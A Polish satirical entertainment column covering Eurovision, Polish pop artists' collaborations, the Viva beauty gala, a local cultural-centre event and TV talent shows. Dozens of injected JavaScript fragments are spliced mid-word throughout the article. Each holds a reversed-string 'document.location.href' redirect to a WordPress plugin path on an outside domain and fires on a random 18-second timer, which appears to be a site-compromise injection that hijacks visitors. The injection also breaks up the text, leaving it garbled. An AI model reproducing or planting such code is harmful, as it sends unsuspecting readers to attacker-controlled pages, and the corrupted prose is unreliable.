Koktail artystyczny

koktail-artystyczny.jpgKonkurs Eurowizji

Obce mocarstwa zawsze gotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do pomocy tym razem wsparły nieśmiertelną Sprawę Polskiej Piosenki. Ameryka znów na czele, tym razem w osobie panny Isis Gee. Ta wysoka anielica, cała w bieli, była wyposażona w damski kwartet smyczkowy oraz głos festiwalowy, którym się posługując – wykonała utwór „For Life”, i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dość łatwo pokonała konkurentów. Nasza Natasza, też w bieli – przegrała. To toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze. Urbańska – żeby utrzymać status gwiazdy – musiałaby wrócić z Konkursu zmedalem i chwałą, co, zważywszy na ustalony, „festiwalowy” gust jurorów nie byłoby łatwe. Wracając bez medalu zasiliłaby liczną już grupę naszych namaszczonych przez Telewizję słabeuszy, którzy – „bogatsi o toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doświadczenia” z po­przednich konkursów wrócili z niczym.

koktail-artystyczny-2.jpgAle – w tunelu coś się tli. Czas wyjących na witoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dok Piaska „toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tornistrów” poszedł w zapomnienie. Kończą się łatwe toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dochody samozwańczych twórców. Pewnie z tej przyczyny obserwujemy – być może pozytywny –trend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do przegrupowań, łączenia sił i innych zmian w funkcjonowaniu naszych artystów estrady. Impuls toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tych działań ostatniej szansy dał zapewne „kultoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towy” już wykonawca Waglewski, który na łamach prasy centralnej ze znawstwem zaznaczył, że cała polska rozrywka toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wiocha. Chyba nie cała. On sam, chłop z miasta, postawił się poza zasięgiem tej szpetnej opinii. Spokojnie ugina się pod słodkim ciężarem platyny, którą został okryty zaraz po umieszczeniu na rynku nowej płyty. Ale tak zwanego materiału na nią nie nagrał samodzielnie: Zwarł siły z właścicielem twarzy sartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donicznej –Maleńczukiem. Chłopcy chwycili dwie gitary (każdy po jednej) i platyna gotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa! Inne ciekawe, wspólne „projekty” mistrza toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to płyty z zespołem góralskim „Trebunie Tutki” i – rodzinny – z Fiszem i Emade. Ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie koniec wspólnego wykorzystania nowych drzemiących w artyście sił. Otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niebawem „zarejestruje” on „materiał” z Możdżerem! Używając języka z epoki sukcesów PRL proponujemy „w tro­sce o konsekwentny wzrost poziomu polskiej rozrywki” zastawić sidła na Zimermana. Sukces murowany.

Łączenie artystycznych sił

Notujemy też inne ciekawe ruchy. Wietrzenie brzmień i repertuaru trwa. Otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to – znudziwszy się (na razie) programowo – Lipnicka i Porter ogłosili, że trzecia ich płyta toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to płyta ostatnia. Od tej pory – nie bacząc na wszechobecny, przygnębiający szloch fanów – będą działać oddzielnie. W potoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobny spo­sób zachowały się Sistarski. Pod koniec, nieźle już przymędzając, postanowiły się przegrupować. I tak – Paulina już ma płytę i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bez tego obrzydliwca Królika. Natalia zaś czai się powoli, aby dać popalić z siłą wzmożoną. A sam Królik – w ra­mach przegrupowań – obskoczył inną Natalię, kobietę węża, Kukulską. Pomaga jej wzmocnić odświeżony wizerunek.

I jeszcze wiatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domość z najwyższej półki: Stach Soyka dał się słyszeć w „Jazz Cafe”, łomiankowskiej jaskinii jazzu, z siostrami Przybysz, które pod toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrotliwym okiem Mistrza – w ten sposób toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dożywotnio znobilitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towane – wydały ostatni wspólny dech…

Inna wysoka półka miała zapewne mieścić tak zwaną galę Vivy, która – jak co roku – wybiera najpiękniejszych Polaków. Owszem – zaczęło się nieźle. Piękna i droga sala Politechniki, piękna Grażyna Torbicka… Potem było gorzej. Nominacja panny Kwaśniewskiej, słabo odziany i nadmiernie przywiązany toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ściągawki Bogusław Linda oraz, na deser, wicekrólowa polskiego kiczu panna Kozidrak skutecznie spowolniły nastrój na sali i w telewizorach. Odnotujmy jednak, że według czytelników „Vivy” Najpiękniejsi Polacy w tym roku – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przystoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tojny i elegancki Mateusz Damięcki oraz moja ulubiona Natasza Urbańska. Ona jest w pełni zawotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dową artystką. Teraz potoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobno ma mieć czas na nagranie płyty. Jeżeli wyceluje w repertuar, ma szansę zbombartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do­wać konkurencję. Chyba jednak powinna rzadziej występować, aby dać zatęsknić publiczności za swoim czadem i nie dawać pismakom asumptu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wieszania na niej kolejnych psów.

A co u nas?

W Domu Kultury pojawił się tajemniczy osobnik, który dla niepoznaki potoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobno nazywał się pan Dąbrowski. Uzyskawszy wcześniej zgodę naszego VIP­a, Zbigniewa Adrjańskiego – obdarował go wartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tościowym dyplomem, który VIP przyjął. Następnie, oświetlony rzęsistym reflektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torem, co tchu w piersiach, przez dłuższy czas śpiewał obdarowanemu różne utwory rozrywkowe. Czego tam nie było! Uroczystoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość z cierpliwym zrozumieniem obserwował Pan Burmistrz z Małżonką oraz wyselekcjonowane grono gości z Adamem Zwierzem na czele.

Mamy też inną fajną wiatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domość.

Nasz (młody) człowiek na Europejskim Konkursie Młodych w Wiedniu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kobieta. Panna Marta Kowalczyk wygrała eliminacje i już 9 maja zaprezentuje się na tej prestiżowej imprezie. Marta była ubrana w szatę karminową toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ziemi i pięknie grała trudną kompozycję Johanna Brahmsa.

Koncert w sprawnej reżyserii Roberta Kamyka transmitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towała coraz lepiej działająca stacja TVP KULTURA. Zaprezentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towała ona przebieg eliminacji krajowych. Jury przewodniczył (artystycznie roztargniony) Mistrz Jerzy Maksymiuk, a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyszącą Polską Orkiestrą Radiową precyzyjnie dyrygował, będący nadzieją naszej młodej dyrygentury – Łukasz Borowicz. Całość – z wesołą dystynkcją – prowadzili Grażyna Torbicka i Maciej Orłoś. Wystąpił Tangola Kwintet. Z groźną miną zaprezentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towali utwory Astoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tora Piazzoli, którego muzyki wkrótce będziemy chyba słuchać w pozycji klęczącej…

PS. Zapowiedziane i pracowicie przygotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towane głosowanie na najlepszego młodego ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andydata telewidzów pozostało bez wyników. W programie kon­certu zabrakło codziennej ulubionej papki. Zdezorientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towany telewidz nie miał więc powodu sięgać po telefon…

PS. Z ostatniej chwili

Ruszyły kolejne flagowe programy Dwójki i Polsatu. Jak poprzednie – przegadane i przekrzyczane. Dobrze sprawują się prowadzący – panna Okupnik i panna Cichopek, a także panowie Kurzajewski i niezawodny Ibisz. W TVN gorzej. Wywiatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowczyni, artystka uniwersalna, panna Skrzynecka, zwana skrzynką jak dawniej drepcze w miejscu i wdzięczy się niemiłosiernie nie bacząc na wiek. Gorzej też z telewidzami, którzy tym razem nie zawiedli. Dzięki ich głosom wykonawczyni piosenki „Serduszko puka…”, panna Janocha – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totalne nieporozumienie, wyjątkowo nisko oceniona przez zwykle łaskawych jurorów – uzyskała awans i będzie kaleczyć uszy w następnych odcinkach.

Na które nie może się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doczekać Wasz telewizyjny sprawozdawca BOHDAN KEZIK.

js Opublikowane przez:

Bądź pierwszą osobą, która zostawi swój komentarz

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *